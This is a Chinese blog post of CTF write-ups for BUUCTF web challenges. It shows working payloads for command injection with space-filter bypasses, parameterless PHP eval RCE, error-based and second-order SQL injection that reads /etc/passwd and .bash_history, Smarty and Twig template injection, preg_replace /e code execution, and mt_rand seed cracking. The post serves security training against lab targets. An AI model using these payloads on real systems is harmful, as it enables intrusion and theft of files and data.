BUUCTF WEB(2020-2月刷题~)

BUUCTF WEB(2020-2月刷题~)

开学遥遥无期,不知道该干些什么,上一个月完全没有碰过题目
也是时候做一做题目了,不然真的玩了一个寒假,,,,,,
毕竟知识点也是需要巩固的,,,,总是觉得自己还是太菜,,也不知道该怎么学习,,,,,
除了刷题也不知道该干啥,,,就这样来吧,,
emmmm,一个月之前写的了,还是发一下吧!!!

[GXYCTF2019]Ping Ping Ping

进入页面得到一个提示:/?ip=
随便输入发现会显示执行的结果:
在这里插入图片描述
发现可以使用"|"进行拼接实现命令执行:
在这里插入图片描述
之后发现过滤了空格,,,,
使用$IFS可以绕过,,,,,但是又过滤了flag,,,
想办法进行绕过,发现反撇号没有过滤,利用一种奇淫技巧,,
payload:

/?ip=111|cat$IFS`ls`

查看源代码可得到flag:
在这里插入图片描述
还有一种方法,是使用变量,不过$IFS不起作用,要使用$IFS$9才能生效,,,
其实分号也没有过滤,,,,
payload:

/?ip=111;a=g;cat$IFS$9fla$a.php

得到flag:
在这里插入图片描述

[GXYCTF2019]禁止套娃

其实这个比赛参加过,这个题也做出来了,,
显示githack下载得到index.php的源码:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    
    
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
    
    
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
    
    
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
    
    
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
    
    
                die("还差一点哦!");
            }
        }
        else{
    
    
            die("再好好想想!");
        }
    }
    else{
    
    
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

无参数的rce,极客大挑战也有一道这种题目,,,,
通过:index.php?exp=var_dump(scandir(current(localeconv())));查看目录
在这里插入图片描述
可以看见倒数第二个是flag文件,需要我们读取这个文件,,,
利用/index.php?exp=readfile(next(array_reverse(scandir(current(localeconv())))));读取flag文件
array_reverse数组逆序,next表示下一个,readfile读取文件内容:
在这里插入图片描述

[极客大挑战 2019]HardSQL

这道题目做过,可以去看看我写过的文章,不过有点不同的是这里的flag比较长不能一下全部显示
所以我们需要进行绕过,而且substr函数也不能使用
所以我们直接使用left函数和right函数就能得到完整的flag
payload:

http://fcf8a068-8e2b-447e-8db8-7e639d6e96c0.node3.buuoj.cn/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)),0x7e),1))%23&password=123
http://fcf8a068-8e2b-447e-8db8-7e639d6e96c0.node3.buuoj.cn/check.php?username=admin%27or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23&password=123

在这里插入图片描述
在这里插入图片描述

[BJDCTF2020]The mystery of ip

这真的要老命了,,,,,,
主要是这个题目真的想不到,,,,,,
一开始进入页面,发现有个flag.php进去后发现会显示你的ip,hint有个是你知道我为什么知道你的ip吗
发现通过xff能够改变显示,,,,127.0.0.1没什么卵用,,,,不可能是xss毕竟没有登陆啥的,在这里考啥,,,
总不可能是拿到cookie就给flag吧,SQL注入貌似也不太对劲,,,,,
后面看了wp才知道,,,是smarty,php的模板引擎,,,,模板注入,,,,
贴上flag.php的源码:

<?php
    	require_once('header.php');
		require_once('./libs/Smarty.class.php');
		$smarty = new Smarty();
		if (!empty($_SERVER['HTTP_CLIENT_IP'])) 
		{
    
    
		    $ip=$_SERVER['HTTP_CLIENT_IP'];
		}
		elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
		{
    
    
		    $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
		}
		else
		{
    
    
		    $ip=$_SERVER['REMOTE_ADDR'];
		}
		//$your_ip = $smarty->display("string:".$ip);
		echo "<div class=\"container panel1\">
					<div class=\"row\">
					<div class=\"col-md-4\">	
					</div>
					<div class=\"col-md-4\">
					<div class=\"jumbotron pan\">
						<div class=\"form-group log\">
							<label><h2>Your IP is : ";
		$smarty->display("string:".$ip);
		echo "				</h2></label>
						</div>		
					</div>
					</div>
					<div class=\"col-md-4\">	
					</div>
					</div>
				</div>";
	?>

	</body>
</html></html>				</h2></label>
						</div>		
					</div>
					</div>
					<div class="col-md-4">	
					</div>
					</div>
				</div>
	</body>
</html>

payload:

X-Forwarded-For:{
   
   {system("cat /flag")}}

得到:
在这里插入图片描述

[BJDCTF2020]ZJCTF,不过如此

这道题目前面很容易过,关键就是next.php这里!
我们通过文件包含拿到next.php源码:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    
    
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    
    
    echo complex($re, $str). "\n";
}

function getFlag(){
    
    
	@eval($_GET['cmd']);
}

可以看见,关键的就是利用preg_replace,我们都知道preg_replace的/e模式能执行代码
但是这里的第二个参数已经给好了,所以我们也就是只能执行相当于eval(strtolower("\1"));的语句了
考的就是preg_replace,参考这篇大佬的文章深入研究preg_replace与代码执行
大佬的payload:.*=${phpinfo()}
还有一点就是\1这个东西,引用一下大佬的话:

这样的引用将被匹配到的第n个捕获子组捕获到的文本替换, n可以是0-99,\0和$0代表完整的模式匹配文本,\1也就是匹配到的第一个子组,这里的${phpinfo()}是将phpinfo()当作一个变量,此时匹配就变成:preg_replace('/(.*)/ei', 'strtolower("\\1")', ${phpinfo()});.*全部匹配${phpinfo()},由于这里只有一组匹配项,所以\1=phpinfo(),转换为小写不影响,成功构造出phpinfo()

虽有payload,但是空格 + [ ] . 等都会转化成_,所以这里的get传参是不行的,所以换一种正则匹配
在这里插入图片描述
payload:

\S*=${
    
    phpinfo()}

我们这道题目直接把phpinfo替换成getFlag()就能够实现命令执行了
所以这道题目的payload:

next.php?\S*=${
    
    getFlag()}&cmd=system('cat%20/flag');

得到flag:
在这里插入图片描述

[BJDCTF2020]Cookie is so stable

与之前的一个页面很像,Smarty模板注入,这里也进行了尝试,,,,
flag页面有提交数据的地方,进行尝试,提交{ {999*999}}
在这里插入图片描述
没毛病,进行ssti尝试,看看是哪个模板,,,,
在这里插入图片描述
开局一张图,内容全靠编,,,,提交{ {7*‘7’}}得到49,,,jinja2会显示7777777
所以极有可能是Twig,,,,
参考链接:服务端模板注入攻击
直接拿文中的payload打一下,得到flag:
在这里插入图片描述
注意一下,抓包发送第一次数据的时候在响应包session会有个user,,,,
所以要这样构造。。

[GWCTF 2019]枯燥的抽奖

进入页面发现是个猜数游戏,,,,并且给出了一部分,,查看源码的到信息check.php
进入得到源码:

innPJDGjsG

<?php 
#这不是抽奖程序的源代码!不许看! 
header("Content-Type: text/html;charset=utf-8"); 
session_start(); 
if(!isset($_SESSION['seed'])){
    
     
$_SESSION['seed']=rand(0,999999999); 
} 

mt_srand($_SESSION['seed']); 
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 
$str=''; 
$len1=20; 
for ( $i = 0; $i < $len1; $i++ ){
    
     
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);        
} 
$str_show = substr($str, 0, 10); 
echo "<p id='p1'>".$str_show."</p>"; 


if(isset($_POST['num'])){
    
     
    if($_POST['num']===$str){
    
    x 
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>"; 
    } 
    else{
    
     
        echo "<p id=flag>没抽中哦,再试试吧</p>"; 
    } 
} 
show_source("check.php"); 

php的伪随机数,肯定是需要我们爆破种子,,,,貌似之前好像有比赛有过这种题目,差不多的解法吧
写一个脚本还原成脚本能够识别的数据:

#!/usr/bin/python
# -*- coding: utf-8 -*-
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='innPJDGjsG'
length = len(str2)
strs=''
for i in range(len(str2)):  
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            strs+=str(j)+' '+str(j)+' '+'0'+' '+str(61)+' '
            break
print(strs)

得到结果,利用脚本php_mt_rand4.0
运行得到:
在这里插入图片描述
copy源代码过来,修改一下(php在线运行不行,得到的字符串不同,我fo了,卡了这么久,以为做错了):

<?php
mt_srand(316769648);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    
    
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo $str;
?>

得到:
在这里插入图片描述
提交得到flag:
在这里插入图片描述
我低头看了看电脑的时间,已经晚上10点多,唉,CTFer 的生活往往就是这么枯燥且无味

[网鼎杯 2018]Comment

首先进入页面,一个留言板,,留言需要登陆,
在这里插入图片描述
根据提示得到账号和密码:zhangwei:zhangwei666
进入页面,能够发帖和查看详情,猜测存在二次注入,,,,尝试无果,,,
扫描目录,发现git泄露:
在这里插入图片描述
得到一个文件:
在这里插入图片描述
这个页面正是详情页面留言的提交页面:
在这里插入图片描述
查看源代码,发现文件不全,,,换一个工具git_extract得到源码:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    
    
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
    
    
switch ($_GET['do'])
{
    
    
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    
    
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    
    
    header("Location: ./index.php");
}
?>

可以很明显的看见是二次注入,$category这个变量只是经过简单的转义,就拼接到了sql语句中
由于这里使用的是多行,,所以#无用,使用/**/进行注释
利用点就在这里:
在这里插入图片描述

我们进行写入时,写入$category为',content=database(),/*
然后进入详情页面在留言处提交*/#就能够得到数据库名:
在这里插入图片描述
我们可以看一下我们所构造的变量放入到sql语句中是什么情况:

insert into comment
            set category = '',content=database(),/*',
                content = '*/#',
                bo_id = '$bo_id'

是的,content被我们覆盖了,所以我们就可以构造任意的sql语句进行注入
然后查询数据库,结果扫描都查不出来,语句应该没写错啊,,,,尝试sql读取文件:

',content=(select load_file('//etc/passwd')),/*

提交*/#得到:
在这里插入图片描述
不过不知道flag文件所在何处,根目录下貌似不存在,var/www/html中貌似也没有,不知道何处下手
看了wp才知道可以读取历史文件,当前用户的历史文件路径/home/www/.bash_history
构造读取:
在这里插入图片描述
历史使用的命令:

cd /tmp/
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start

可以看见有个.DS_Store被删除了,虽然这里的这个文件被删除了
但是原来复制过来的/tmp/html下还没删除啊,直接读取看看:
在这里插入图片描述
啥玩意啊,使用hex读取,然后转ascii码得到:
在这里插入图片描述
有一个flag_8946e1ff1ee3e40f.php文件
尝试读取',content=(select hex(load_file('//tmp/html/flag_8946e1ff1ee3e40f.php'))),/*
得到flag:
在这里插入图片描述
发现不对,坑~~ 读取另一个文件
payload:',content=(select hex(load_file('//var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
得到:
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_42967398/article/details/104271445